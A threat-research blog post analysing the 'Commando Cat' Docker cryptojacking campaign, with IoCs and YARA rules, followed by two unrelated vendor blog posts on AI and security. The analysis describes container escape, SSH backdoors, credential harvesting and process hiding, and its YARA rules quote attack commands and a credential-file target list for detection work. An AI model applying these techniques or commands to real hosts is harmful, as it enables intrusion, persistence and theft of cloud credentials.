Blog
/
/
January 2, 2024

The Nine Lives of Commando Cat: Analyzing a Novel Malware Campaign Targeting Docker

"Commando Cat" is a novel cryptojacking campaign exploiting exposed Docker API endpoints. This campaign demonstrates the continued determination attackers have to exploit the service and achieve a variety of objectives.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
Default blog image
02
Jan 2024

Summary

  • Commando Cat is a novel cryptojacking campaign exploiting Docker for Initial Access
  • The campaign deploys a benign container generated using the Commando Project [1]
  • The attacker escapes this container and runs multiple payloads on the Docker host
  • The campaign deploys a credential stealer payload, targeting Cloud Service Provider credentials (AWS, GCP, Azure)
  • The other payloads exhibit a variety of sophisticated techniques, including an interesting process hiding technique (as discussed below) and a Docker Registry blackhole

Introduction: Commando cat

Cado Security labs (now part of Darktrace) encountered a novel malware campaign, dubbed “Commando Cat”, targeting exposed Docker API endpoints. This is the second campaign targeting Docker since the beginning of 2024, the first being the malicious deployment of the 9hits traffic exchange application, a report which was published only a matter of weeks prior. [2]

Attacks on Docker are relatively common, particularly in cloud environments. This campaign demonstrates the continued determination attackers have to exploit the service and achieve a variety of objectives. Commando Cat is a cryptojacking campaign leveraging Docker as an initial access vector and (ab)using the service to mount the host’s filesystem, before running a series of interdependent payloads directly on the host. 

As described in the coming sections, these payloads are responsible for registering persistence, enabling a backdoor, exfiltrating various Cloud Service Provider credential files and executing the miner itself. Of particular interest are a number of evasion techniques exhibited by the malware, including an unusual process hiding mechanism. 

Initial access

The payloads are delivered to exposed Docker API instances over the Internet by the IP 45[.]9.148.193 (which is the same as C2). The attacker instructs Docker to pull down a Docker image called cmd.cat/chattr. The cmd.cat (also known as Commando) project “generates Docker images on-demand with all the commands you need and simply point them by name in the docker run command.” 

It is likely used by the attacker to seem like a benign tool and not arouse suspicion.

The attacker then creates the container with a custom command to execute:

Container image with custom command to execute
Figure 1: Container with custom command to execute

It uses the chroot to escape from the container onto the host operating system. This initial command checks if the following services are active on the system:

  • sys-kernel-debugger
  • gsc
  • c3pool_miner
  • Dockercache

The gsc, c3pool_miner, and dockercache services are all created by the attacker after infection. The purpose of the check for sys-kernel-debugger is unclear - this service is not used anywhere in the malware, nor is it part of Linux. It is possible that the service is part of another campaign that the attacker does not want to compete with.

Once these checks pass, it runs the container again with another command, this time to infect it:

Container with infect command
Figure 2: Container with infect command

This script first chroots to the host, and then tries to copy any binaries named wls or cls to wget and curl respectively. A common tactic of cryptojacking campaigns is that they will rename these binaries to evade detection, likely the attacker is anticipating that this box was previously infected by a campaign that renamed the binaries to this, and is undoing that. The attacker then uses either wget or curl to pull down the user.sh payload.

This is repeated with the sh parameter changed to the following other scripts:

  • tshd
  • gsc
  • aws

In addition, another payload is delivered directly as a base64 encoded script instead of being pulled down from the C2, this will be discussed in a later section.

user.sh

The primary purpose of the user.sh payload is to create a backdoor in the system by adding an SSH key to the root account, as well as adding a user with an attacker-known password.

On startup, the script changes the permissions and attributes on various system files such as passwd, shadow, and sudoers in order to allow for the creation of the backdoor user:

Script
Figure 3

It then calls a function called make_ssh_backdoor, which inserts the following RSA and ED25519 SSH key into the root user’s authorized_keys file:

function make_ssh_backdoor
Figure 4

It then updates a number of SSH config options in order to ensure root login is permitted, along with enabling public key and password authentication. It also sets the AuthorizedKeysFile variable to a local variable named “$hidden_authorized_keys”, however this variable is never actually defined in the script, resulting in public key authentication breaking.

Once the SSH backdoor has been installed, the script then calls make_hidden_door. The function creates a new user called “games” by adding an entry for it directly into /etc/passwd and /etc/shadow, as well giving it sudo permission in /etc/sudoers.

The “games” user has its home directory set to /usr/games, likely as an attempt to appear as legitimate. To continue this theme, the attacker also has opted to set the login shell for the “games” user as /usr/bin/nologin. This is not the path for the real nologin binary, and is instead a copy of bash placed here by the malware. This makes the “games” user appear as a regular service account, while actually being a backdoor.

Games user
Figure 5

With the two backdoors in place, the malware then calls home with the SSH details to an API on the C2 server. Additionally, it also restarts sshd to apply the changes it made to the configuration file, and wipes the bash history.

SSH details
Figure 6

This provides the attacker with all the information required to connect to the server via SSH at any time, using either the root account with a pubkey, or the “games” user with a password or pubkey. However, as previously mentioned, pubkey authentication is broken due to a bug in the script. Consequently, the attacker only has password access to “games” in practice.

tshd.sh

This script is responsible for deploying TinyShell (tsh), an open source Unix backdoor written in C [3]. Upon launch, the script will try to install make and gcc using either apk, apt, or yum, depending on which is available. The script then pulls a copy of the tsh binary from the C2 server, compiles it, and then executes it.

Script
Figure 7

TinyShell works by listening on the host for incoming connections (on port 2180 in this case), with security provided by a hardcoded encryption key in both the client and server binaries. As the attacker has graciously provided the code, the key could be identified as “base64st”. 

A side effect of this is that other threat actors could easily scan for this port and try authenticating using the secret key, allowing anyone with the skills and resources to take over the botnet. TinyShell has been commonly used as a payload before, as an example, UNC2891 has made extensive use of TinyShell during their attacks on Oracle Solaris based systems [4].
The script then calls out to a freely available IP logger service called yip[.]su. This allows the attacker to be notified of where the tsh binary is running, to then connect to the infected machine.

Script
Figure 8

Finally, the script drops another script to /bin/hid (also referred to as hid in the script), which can be used to hide processes:

Script
Figure 9

This script works by cloning the Linux mtab file (a list of the active mounts) to another directory. It then creates a new bind mount for the /proc/pid directory of the process the attacker wants to hide, before restoring the mtab. The bind mount causes any queries to the /proc/pid directory to show an empty directory, causing tools like ps aux to omit the process. Cloning the mtab and then restoring the older version also hides the created bind mount, making it harder to detect.

The script then uses this binary to hide the tshd process.

gsc.sh

This script is responsible for deploying a backdoor called gs-netcat, a souped-up version of netcat that can punch through NAT and firewalls. It’s purpose is likely for acting as a backdoor in scenarios where traditional backdoors like TinyShell would not work, such as when the infected host is behind NAT.

Gs-netcat works in a somewhat interesting way - in order for nodes to find each other, they use their shared secret instead of IP address using the  service. This permits gs-netcat to function in virtually every environment as it circumvents many firewalls on both the client and server end. To calculate a shared secret, the script simply uses the victims IP and hostname:

Script
Figure 10

This is more acceptable than tsh from a security point of view, there are 4 billion possible IP addresses and many more possible hostnames, making a brute force harder, although still possible by using strategies such as lists of common hostnames and trying IPs from blocks known for hosting virtual servers such as AWS.

The script proceeds to set up gs-netcat by pulling it from the attacker’s C2 server, using a specific version based on the architecture of the infected system. Interestingly to note, the attacker will use the cmd.cat containers to untar the downloaded payload, if tar is not available on the system or fails. Instead of using /tmp, it also uses /dev/shm instead, which acts as a temporary file store, but memory backed instead. It is possible that this is an evasion mechanism, as it is much more common for malware to use /tmp. This also results in the artefacts not touching the disk, making forensics somewhat more difficult. This technique has been used before in BPFdoor - a high-profile Linux campaign [6].

Script
Figure 11

Once the binary has been installed, the script creates a malicious systemd service unit to achieve persistence. This is a very common method for Linux malware to obtain persistence; however not all systems use systemd, resulting in this payload being rendered entirely ineffective on these systems. $VICCS is the shared secret discussed earlier, which is stored in a file and passed to the process.

Script
Figure 12

The script then uses the previously discussed hid binary to hide the gs-netcat process. It is worth noting that this will not survive a reboot, as there is no mechanism to hide the process again after it is respawned by systemd.

Script
Figure 13

Finally, the malware sends the shared secret to the attacker via their API, much like how it does with SSH:

Script
Figure 14

This allows the attacker to run their client instance of gs-netcat with the shared secret and gain persistent access to the infected machine.

aws.sh

The aws.sh script is a credential grabber that pulls credentials from several files on disk, as well as IMDS, and environment variables. Interestingly, the script creates a file so that once the script runs the first time, it can never be run again as the file is never removed. This is potentially to avoid arousing suspicion by generating lots of calls to IMDS or the AWS API, as well as making the keys harvested by the attacker distinct per infected machine.

The script overall is very similar to scripts that have been previously attributed to TeamTNT and could have been copied from one of their campaigns [7.] However, script-based attribution is difficult, and while the similarities are visible, it is hard to attribute this script to any particular group.

Script
Figure 15

The first thing run by the script (if an AWS environment is detected) is the AWS grabber script. Firstly, it makes several requests to IMDS in order to obtain information about the instance’s IAM role and the security credentials for it. The timeout is likely used to stop this part of the script taking a long time to run on systems where IMDS is not available. It would also appear this script only works with IMDSv1, so can be rendered ineffective by enforcing IMDSv2.

Script
Figure 16

Information of interest to the attacker, such as instance profiles, access keys, and secret keys, are then extracted from the response and placed in a global variable called CSOF, which is used throughout the script to store captured information before sending it to the API.

Next, it checks environment variables on the instance for AWS related variables, and adds them to CSOF if they are present.

Script
Figure 17

Finally, it adds the sts caller identity returned from the AWS command line to CSOF.

Next up is the cred_files function, which executes a search for a few common credential file names and reads their contents into CSOF if they are found. It has a few separate lists of files it will try to capture.

CRED_FILE_NAMES:

  • "authinfo2"
  • "access_tokens.db"
  • ".smbclient.conf"
  • ".smbcredentials"
  • ".samba_credentials"
  • ".pgpass"
  • "secrets"
  • ".boto"
  • ".netrc"
  • "netrc"
  • ".git-credentials"
  • "api_key"
  • "censys.cfg"
  • "ngrok.yml"
  • "filezilla.xml"
  • "recentservers.xml"
  • "queue.sqlite3"
  • "servlist.conf"
  • "accounts.xml"
  • "kubeconfig"
  • "adc.json"
  • "azure.json"
  • "clusters.conf" 
  • "docker-compose.yaml"
  • ".env"

AWS_CREDS_FILES:

  • "credentials"
  • ".s3cfg"
  • ".passwd-s3fs"
  • ".s3backer_passwd"
  • ".s3b_config"
  • "s3proxy.conf"

GCLOUD_CREDS_FILES:

  • "config_sentinel"
  • "gce"
  • ".last_survey_prompt.yaml"
  • "config_default"
  • "active_config"
  • "credentials.db"
  • "access_tokens.db"
  • ".last_update_check.json"
  • ".last_opt_in_prompt.yaml"
  • ".feature_flags_config.yaml"
  • "adc.json"
  • "resource.cache"

The files are then grabbed by performing a find on the root file system for their name, and the results appended to a temporary file, before the final concatenation of the credentials files is read back into the CSOF variable.

CSOF variable
Figure 18

Next up is get_prov_vars, which simply loops through all processes in /proc and reads out their environment variables into CSOF. This is interesting as the payload already checks the environment variables in a lot of cases, such as in the aws, google, and azure grabbers. So, it is unclear why they grab all data, but then grab specific portions of the data again.

Code
Figure 19

Regardless of what data it has already grabbed, get_google and get_azure functions are called next. These work identically to the AWS environment variable grabber, where it checks for the existence of a variable and then appends its contents (or the file’s contents if the variable is path) to CSOF.

Code
Figure 20

The final thing it grabs is an inspection of all running docker containers via the get_docker function. This can contain useful information about what's running in the container and on the box in general, as well as potentially providing more secrets that are passed to the container.

Code
Figure 21

The script then closes out by sending all of the collected data to the attacker. The attacker has set a username and password on their API endpoint for collected data, the purpose for which is unclear. It is possible that the attacker is concerned with the endpoint being leaked and consequently being spammed with false data by internet vigilantes, so added the authentication as a mechanism allowing them to cycle access by updating the payload and API.

Code
Figure 22

The base64 payload

As mentioned earlier, the final payload is delivered as a base64 encoded script rather than in the traditional curl-into-bash method used previously by the malware. This base64 is echoed into base64 -d, and then piped into bash. This is an extremely common evasion mechanism, with many script-based Linux threat actors using the same approach. It is interesting to note that the C2 IP used in this script is different from the other payloads.

The base64 payload serves two primary purposes, to deploy an XMRig cryptominer, and to “secure” the docker install on the infected host.

When it is run, the script looks for traces of other malware campaigns. Firstly, it removes all containers that have a command of /bin/bash -c 'apt-get or busybox, and then it removes all containers that do not have a command that contains chroot (which is the initial command used by this payload).

Code
Figure 23

Next, it looks for any services named “c3pool_miner” or “moneroocean_miner” and stops & disables the services. It then looks for associated binaries such as /root/c3pool/xmrig and /root/moneroocean/xmrig and deletes them from the filesystem. These steps are taken prior to deploying their own miner, so that they aren't competing for CPU time with other threat actors.

Once the competing miners have been killed off, it then sets up its own miner. It does this by grabbing a config and binary from the C2 server and extracting it to /usr/sbin. This drops two files: docker-cache and docker-proxy.

The docker-proxy binary is a custom fork of XMRig, with the path to the attacker’s config file hardcoded in the binary. It is invoked by docker-cache, which acts as a stager to ensure it is running, while also having the functionality to update the binary, should a file with .upd be detected.

It then uses a systemd service to achieve persistence for the XMRig stager, using the name docker cache daemon to appear inconspicuous. It is interesting to note that the name dockercache was also used by the Cetus cryptojacking worm .

Code
Figure 24

It then uses the hid script discussed previously to hide the docker-cache and docker-proxy services by creating a bind mount over their /proc entry. The effect of this is that if a system administrator were to use a tool like htop to try and see what process was using up the CPU on the server, they would not be able to see the process.

Finally, the attacker “secures” docker. First, it pulls down alpine and tags it as docker/firstrun (this will become clear as to why later), and then deletes any images in a hardcoded list of images that are commonly used in other campaigns.

Code
Figure 25

Next, it blackholes the docker registry by writing it's hostname to /etc/hosts with an IP of 0.0.0.0

Code
Figure 26

This completely blocks other attackers from pulling their images/tools onto the box, eliminating the risk of competition. Keeping the Alpine image named as docker/firstrun allows the attacker to still use the docker API to spawn an alpine box they can use to break back in, as it is already downloaded so the blackhole has no effect.

Conclusion

This malware sample, despite being primarily scripts, is a sophisticated campaign with a large amount of redundancy and evasion that makes detection challenging. The usage of the hid process hider script is notable as it is not commonly seen, with most malware opting to deploy clunkier rootkit kernel modules. The Docker Registry blackhole is also novel, and very effective at keeping other attackers off the box.

The malware functions as a credential stealer, highly stealthy backdoor, and cryptocurrency miner all in one. This makes it versatile and able to extract as much value from infected machines as possible. The payloads seem similar to payloads deployed by other threat actors, with the AWS stealer in particular having a lot of overlap with scripts attributed to TeamTNT in the past. Even the C2 IP points to the same provider that has been used by TeamTNT in the past. It is possible that this group is one of the many copycat groups that have built on the work of TeamTNT.

Indicators of compromise (IoCs)

Hashes

user 5ea102a58899b4f446bb0a68cd132c1d

tshd 73432d368fdb1f41805eba18ebc99940

gsc 5ea102a58899b4f446bb0a68cd132c1d

aws 25c00d4b69edeef1518f892eff918c2c

base64 ec2882928712e0834a8574807473752a

IPs

45[.]9.148.193

103[.]127.43.208

Yara Rule

rule Stealer_Linux_CommandoCat { 
 
meta: 

        description = "Detects CommandoCat aws.sh credential stealer script" 
 
        license = "Apache License 2.0" 
 
        date = "2024-01-25" 
 
        hash1 = "185564f59b6c849a847b4aa40acd9969253124f63ba772fc5e3ae9dc2a50eef0" 
 
    strings: 
 
        // Constants 

        $const1 = "CRED_FILE_NAMES" 
 
        $const2 = "MIXED_CREDFILES" 
 
        $const3 = "AWS_CREDS_FILES" 
 
        $const4 = "GCLOUD_CREDS_FILES" 
 
        $const5 = "AZURE_CREDS_FILES" 
 
        $const6 = "VICOIP" 
 
        $const7 = "VICHOST" 

 // Functions 
 $func1 = "get_docker()" 
 $func2 = "cred_files()" 
 $func3 = "get_azure()" 
 $func4 = "get_google()" 
 $func5 = "run_aws_grabber()" 
 $func6 = "get_aws_infos()" 
 $func7 = "get_aws_meta()" 
 $func8 = "get_aws_env()" 
 $func9 = "get_prov_vars()" 

 // Log Statements 
 $log1 = "no dubble" 
 $log2 = "-------- PROC VARS -----------------------------------" 
 $log3 = "-------- DOCKER CREDS -----------------------------------" 
 $log4 = "-------- CREDS FILES -----------------------------------" 
 $log5 = "-------- AZURE DATA --------------------------------------" 
 $log6 = "-------- GOOGLE DATA --------------------------------------" 
 $log7 = "AWS_ACCESS_KEY_ID : $AWS_ACCESS_KEY_ID" 
 $log8 = "AWS_SECRET_ACCESS_KEY : $AWS_SECRET_ACCESS_KEY" 
 $log9 = "AWS_EC2_METADATA_DISABLED : $AWS_EC2_METADATA_DISABLED" 
 $log10 = "AWS_ROLE_ARN : $AWS_ROLE_ARN" 
 $log11 = "AWS_WEB_IDENTITY_TOKEN_FILE: $AWS_WEB_IDENTITY_TOKEN_FILE" 

 // Paths 
 $path1 = "/root/.docker/config.json" 
 $path2 = "/home/*/.docker/config.json" 
 $path3 = "/etc/hostname" 
 $path4 = "/tmp/..a.$RANDOM" 
 $path5 = "/tmp/$RANDOM" 
 $path6 = "/tmp/$RANDOM$RANDOM" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

rule Backdoor_Linux_CommandoCat { 
 meta: 
 description = "Detects CommandoCat gsc.sh backdoor registration script" 
 license = "Apache License 2.0" 
 date = "2024-01-25" 
 hash1 = "d083af05de4a45b44f470939bb8e9ccd223e6b8bf4568d9d15edfb3182a7a712" 
 strings: 
 // Constants 
 $const1 = "SRCURL" 
 $const2 = "SETPATH" 
 $const3 = "SETNAME" 
 $const4 = "SETSERV" 
 $const5 = "VICIP" 
 $const6 = "VICHN" 
 $const7 = "GSCSTATUS" 
 $const8 = "VICSYSTEM" 
 $const9 = "GSCBINURL" 
 $const10 = "GSCATPID" 

 // Functions 
 $func1 = "hidfile()" 

 // Log Statements 
 $log1 = "run gsc ..." 

 // Paths 
 $path1 = "/dev/shm/.nc.tar.gz" 
 $path2 = "/etc/hostname" 
 $path3 = "/bin/gs-netcat" 
 $path4 = "/etc/systemd/gsc" 
 $path5 = "/bin/hid" 

 // General 
 $str1 = "mount --bind /usr/foo /proc/$1" 
 $str2 = "cp /etc/mtab /usr/t" 
 $str3 = "docker run -t -v /:/host --privileged cmd.cat/tar tar xzf /host/dev/shm/.nc.tar.gz -C /host/bin gs-netcat" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

rule Backdoor_Linux_CommandoCat_tshd { 
 meta: 
 description = "Detects CommandoCat tshd TinyShell registration script" 
 license = "Apache License 2.0" 
 date = "2024-01-25" 
 hash1 = "65c6798eedd33aa36d77432b2ba7ef45dfe760092810b4db487210b19299bdcb" 
 strings: 
 // Constants 
 $const1 = "SRCURL" 
 $const2 = "HOME" 
 $const3 = "TSHDPID" 

 // Functions 
 $func1 = "setuptools()" 
 $func2 = "hidfile()" 
 $func3 = "hidetshd()" 

 // Paths 
 $path1 = "/var/tmp" 
 $path2 = "/bin/hid" 
 $path3 = "/etc/mtab" 
 $path4 = "/dev/shm/..tshdpid" 
 $path5 = "/tmp/.tsh.tar.gz" 
 $path6 = "/usr/sbin/tshd" 
 $path7 = "/usr/foo" 
 $path8 = "./tshd" 

 // General 
 $str1 = "curl -Lk $SRCURL/bin/tsh/tsh.tar.gz -o /tmp/.tsh.tar.gz" 
 $str2 = "find /dev/shm/ -type f -size 0 -exec rm -f {} \\;" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

References:

  1. https://github.com/lukaszlach/commando
  2. www.darktrace.com/blog/containerised-clicks-malicious-use-of-9hits-on-vulnerable-docker-hosts
  3. https://github.com/creaktive/tsh
  4. https://cloud.google.com/blog/topics/threat-intelligence/unc2891-overview/
  5. https://www.gsocket.io/
  6. https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor
  7. https://malware.news/t/cloudy-with-a-chance-of-credentials-aws-targeting-cred-stealer-expands-to-azure-gcp/71346
  8. https://unit42.paloaltonetworks.com/cetus-cryptojacking-worm/
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

More in this series

No items found.

Blog

/

/

July 17, 2026

AI Is Taking on Stadium Operations. How Can Security Teams Keep it Protected?

Photo of a sports stadiumDefault blog imageDefault blog image

How to Secure AI in Stadium Operations

Key takeaways

  • AI is entering high-impact stadium functions such as access control, crowd management, ticketing, facilities, and surveillance.  
  • Shadow AI and third-party AI use can create risks that stadium security teams cannot readily see.  
  • Security teams must understand not only which AI systems exist, but also what they can access and what actions they can take.  
  • Live-event resilience requires continuous monitoring and response across AI, IT, OT, identities, and third parties.

Modern stadiums are infrastructure unlike any other. I’ve written before on event day sparking stadiums into life with shops and food stands, transport hubs, vast telecommunications infrastructure, field-side technology and beyond, acting as one super-sized, connected ecosystem. Stadiums’ scale and complexity make them some of the toughest environments in cybersecurity. Now, we’re adding AI to those operations and bringing a new dimension of risk.

The benefits of AI in stadium operations are easy to see. It can help stadium operators move fans safely through crowded gates, forecast demand at concession stands, support biometric entry, identify suspicious behavior on CCTV, and manage heating and ventilation. Used well, it can make live events safer, faster, and more efficient.

But it also changes the security model.

In Darktrace’s recent research into the threat landscape surrounding sports, we asked cybersecurity professionals protecting professional sports organizations where in their footprint a cyber compromise would have the greatest impact. The area they named most, highlighted by 34% of the professionals we spoke to, was stadium operations. At the same time, 35% said their organizations are already using AI in stadium operations, or plan to do so in the next 12 months.

Security teams are no longer just protecting traditional IT systems around a stadium. They are increasingly being asked to protect AI systems that are operating in the stadium’s most fundamental functions.

Approved AI vs. shadow AI in stadium operations

There is a clear difference between AI a stadium’s security team knows about and AI it does not.

Approved AI is the AI that has been reviewed, tested, and integrated into the venue’s operating environment. It may support CCTV analytics, access control, facility management, ticketing, logistics, broadcast operations, or anti-piracy monitoring. It should have clear ownership, access controls, logging, vendor review, and data protection rules. That does not make it risk-free, but it allows security teams to institute proper governance.

Shadow AI is different. It is the unapproved use of AI tools by employees, contractors, or suppliers. It often starts with good intent. Someone wants to work faster. A staff member pastes internal information into a public AI tool to draft a briefing. A developer uses an AI assistant to debug ticketing code. A supplier connects an AI scheduling tool to delivery routes. A designer uploads unreleased venue plans or sponsor material to generate a mockup.

None of those actions may feel like a security decision to the person doing them. But each one can move sensitive operational data into an environment the stadium does not control, creating hidden risk.

The approved AI stack may be visible to security teams. The shadow AI stack often is not.

Why game day increases AI cybersecurity risk

In a typical enterprise environment, a security team may have hours to investigate a strange login or an unexpected connection to a third-party service. Within a stadium, the moment an incident is likely to occur is also the moment when teams are at their most stretched and the incident can have the greatest repercussions: game day.

If an AI system used for crowd management behaves unexpectedly, the issue is not only technical. It may affect physical movement inside the venue.

If a supplier tool is sending operational data to an unapproved AI platform, the issue is not only data governance. It may expose delivery routes, restricted access schedules, or staffing plans.

The most dangerous scenario is not always a loud, dramatic attack but a hidden dependency that no one has mapped such as a vendor adding an AI feature through a software update or a staff workflow using an unapproved tool.

By the time the venue is live, those hidden connections can become operational risk.

The supply chain is part of the stadium attack surface

Any major sporting event is made by its supply chain and partnerships: catering firms, transport providers, broadcast systems, facilities teams. Every piece is necessary and each creates a security channel. The risk of supply chain compromise has been well established for some time and has been the source of some of the most high-profile breaches we’ve seen. The data breach at MSG Entertainment, owner of Madison Square Garden, that was widely reported in March, originated in a breach of Oracle’s E-Business Suite, used in MSG Entertainment’s back-office systems, while the 2018 Olympic Destroyer attack on the Pyeongchang Winter Olympics reportedly began with the compromise of the main IT service provider for the Games. The addition of AI is heightening the risk.

A stadium can have strict rules for its own AI systems, but its vendors may be using separate tools. Some may use AI to manage staffing, delivery windows, inventory, or customer communications. Others may not realize that AI features have been added into software they already use.

This is one of the hardest parts of securing AI in stadium operations. The risk does not always come from a tool the venue selected. It may come from a tool a supplier selected or a feature the supplier did not know had been turned on.

Security teams need to treat vendor AI the same way they treat vendor access. They need to know what suppliers can connect to, what data they can see, what tools they use, and whether those tools introduce new routes for data exposure or lateral movement.

A third-party AI tool does not need deep access to create risk. Sometimes it only needs the right operational detail at the wrong time.

Four questions for securing AI in stadium operations

As AI becomes part of stadium operations, security teams need to move beyond basic approval lists. There are four questions they need to ask:

1. Where is AI being used?

This includes obvious tools, such as computer vision, access control, ticketing, logistics, and facility management. But it also includes less visible AI inside SaaS platforms, vendor tools, browser extensions, developer workflows, smart building systems, and collaboration tools.

2. What can the AI access?

Can it see incident logs, staffing plans, ticketing data, video feeds, building controls, fan information, credentials, or supplier systems? Can it only analyze information, or can it also trigger actions?

3. What can the AI do?

AI agents are not just passive tools. Some can call APIs, update records, generate instructions, trigger workflows, or act with the permissions of a user or service account. In a stadium, that distinction is critical. There is a big difference between an AI system that recommends an action and one that can take an action.

4. What does normal look like?

In your security architecture, static rules will not be enough. AI use changes quickly: tools appear inside existing platforms, vendors add new services, and staff find workarounds when they are under pressure. Security teams need to understand normal behavior across people, identities, devices, networks, cloud services, suppliers, and AI tools so they can spot when something changes.

That is especially important in live-event environments, where small anomalies can matter. A connection to an unapproved AI service may be harmless in one context and serious in another, and an AI agent taking action at 3 a.m. may be expected during setup but suspicious during a match. Context is what turns raw activity into useful security insight. It’s also what enables rapid response. Your own AI-based security systems can respond to threats at machine speed if they can build the live context to know action needs to be taken.

AI can make stadiums safer, but only if it is secured

AI has a real role to play in stadium operations. It can help teams detect crowd pressure earlier, reduce bottlenecks, manage facilities more efficiently, improve the fan experience, and support event teams during high-pressure moments.

The answer is not to slow all AI adoption. That's not the goal. The answer is to make AI visible, governed, and secure before it becomes part of match-day operations.

For stadium operators and event organizers, that means mapping AI use across the venue and supplier ecosystem. It means understanding what each AI system can access and what actions it can take. It means giving staff approved tools that meet their needs, rather than leaving them to find workarounds. It means writing AI use into vendor contracts and audits. And it means monitoring behavior across the full environment, not only the systems that are easiest to see. A stadium cannot secure what it cannot see.

When AI becomes part of how a stadium moves people, controls access, manages facilities, supports suppliers, and protects media rights, it stops being a side project. It becomes part of the event infrastructure.

Event infrastructure must be thoroughly prepared before venue gates open and sustained with the operational resilience required to support a secure, seamless, and reliable event experience.

How Darktrace helps secure AI in stadium operations

Darktrace brings more than a decade of behavioral AI expertise, built on an enterprise‑wide platform designed to operate in complex, ambiguous environments. We protect the large-scale integrated IT and OT environments that underpin stadium operations from the 2022 FIFA World Cup in Qatar, to Formula 1 Grand Prixes around the world and stadiums across the USA.

Other cybersecurity technologies try to predict each new attack based on historical attacks. The problem is that AI operates like humans do. Every action introduces new information that changes how AI behaves, making it unpredictable in nature. Historical attack tactics are now only a small part of the equation, forcing vendors to retrofit unproven acquisitions to secure AI.  

Darktrace is fundamentally different. Our Adaptive AI continuously learns how your people and AI behave, building an understanding of your organization so it can detect and respond autonomously when behavior deviates. Our Behavioral Defense Platform secures your AI, people, and infrastructure as you onboard new workflows, agents, and applications, enabling your AI transformation at scale.

As AI changes what organizations can do, Darktrace helps them move forward with confidence. We give the security teams defending the people and technology within stadium infrastructure the understanding, visibility, and autonomous action they need to protect new technologies as they are integrated into operations, so their organizations drive the progress that will define the AI era.

[related-resource]

Continue reading
About the author

Blog

/

/

July 15, 2026

Security After Signatures: Operating in a World of Pre‑CVE Disclosure Exploitation, Collapsed Trust Boundaries, and Autonomous Systems

Default blog imageDefault blog image

Three shifts have reshaped what it means to defend an enterprise securely.  

First, exploitation often begins before defenders have a Common Vulnerabilities and Exposures (CVE) identifier, a security advisory, or an entry in the Cybersecurity and Infrastructure Security Agency's (CISA) Known Exploited Vulnerabilities (KEV) catalog.

Secondly, the trust boundary has moved beyond the network edge into identities, tokens, APIs, and Software-as-a-Service (SaaS) workflows.  

Third, an increasing share of business activity is executed through automation, integrations, and AI agent-like systems that can act faster than teams can verify intent.  

If your security model still relies on detecting known bad artefacts, triaging isolated alerts, and waiting for confirmation before acting, you are already behind the threat.  

This is not a failure of security teams; it’s a failure of the operating model to keep pace with how the environment has changed.

A SOC built around alerts and signatures assumes that malicious activity will eventually surface as an event. In real incidents, however, the decisive evidence is rarely a single event. Instead, it is a chain of individually explainable actions that only appears malicious once you connect the dots across identity, non-human identity, cloud, email, SaaS, operational technology (OT), and network telemetry.

The defenders succeeding today observe behaviors, link them into sequences, understand what those sequences mean, and contain impact before the full story unfolds. That is the operating model the current threat environment demands.  

Exploitation before disclosure

The first shift is the straightforward: the time to exploit has dropped to nearly zero.  

In one example, Darktrace observed a sequence of subtle but strategically significant anomalies within a customer environment that later aligned with exploitation of CVE‑2025‑0994 in Trimble Cityworks by likely Chinese-nexus threat actors. Behavioral indicators were visible at least 18 days before public disclosure, with related anomalies emerging 40 to 50 days earlier during the intrusion window.  

This case illustrates a familiar pattern: clusters of weak‑signal anomalies combing to form an actionable picture of intrusion long before a CVE is published. Such activity reflects long‑horizon, option‑preserving operator models often associated with mature state‑linked activity.  

Figure 1: Darktrace’s detection of malicious exploitation of CVE 2025-0994, later tied to Chinese-nexus threat actors targeting critical national infrastructure (CNI) in the US, weeks before public disclosure.

Throughout 2025 and 2026, Darktrace has continued to observe the value of anomaly-based detections across a range of incidents.

CVE CVE Public Disclosure Date Darktrace Detection Date Days Between Detection of Exploitation and CVE Public Disclosure
CVE 2025 0994
(Trimble City Works)
2025-02-06 2025-01-19 18 Days
CVE 2025-24183
(Apache)
2025-03-10 2025-02-18 20 days
CVE 2025-10035
(Fortra GoAnywhere)
2025-09-18 2025-09-11 7 days

Identity is the real control plane

The second shift is that identity has replaced perimeter as the primary control plane. As Darktrace’s Annual Threat Report 2026 illustrated, identity remains the main challenge in defending against modern intrusions. A clear example is the Adversary-in-the-Middle (AiTM) case published by Darktrace in December 2025. A phishing email led to the compromise of an Office 365 account. Session hijacking bypassed multi-factor authentication (MFA), and the compromised account was used for follow-on phishing and persistence activities including the creation of malicious email rules.  

Every step in that sequence mattered. A successful login alone does not prove legitimacy. An inbox rule, on its own, may not appear catastrophic. Mail activity, viewed in isolation, may seem operationally normal. But the behavioral chain tells a different story: credential theft, token abuse, persistence, and onward compromise through a trusted identity.  

This is why the question is no longer “Did the user authenticate successfully”. The more important question is, “Does this identity action make sense right now, in this context, given what came before it?” The AiTM case shows how identity can be compromised. In practice, however, attacks rarely remained confined to identity alone.  

In another Darktrace case, a compromised SaaS account triggered activity across the email, SaaS, and network layers, including inbox rule changes, phishing propagation, and connections to suspicious infrastructure. Viewed in isolation, none of these events were decisive. Together, however,  they formed a behavioral sequence that revealed the intrusion, with the full attack story automatically correlated and surfaced to defenders by Darktrace’s Cyber AI Analyst.  

Figure 2: Cyber AI Analyst correlated and appended additional events to the incident, including other users who connected to the suspicious redirect link after outbound phishing emails were sent.

AI accelerates the threat  

The third shift is the one many teams still underestimate: trusted tooling, integrations, and AI agent-like systems can create actions that appear legitimate but are strategically dangerous.  

The shift becomes clearer when examining how governments are now framing AI risk. In 2026, guidance published by CISA, UK’s National Cyber Security Centre (NCSC) and Five Eyes partners warned that agentic systems expand attack surfaces, accumulate privilege, and can behave in ways that are difficult to predict or explain [1]. The advice is simple: assume unexpected behavior and design controls around it.  

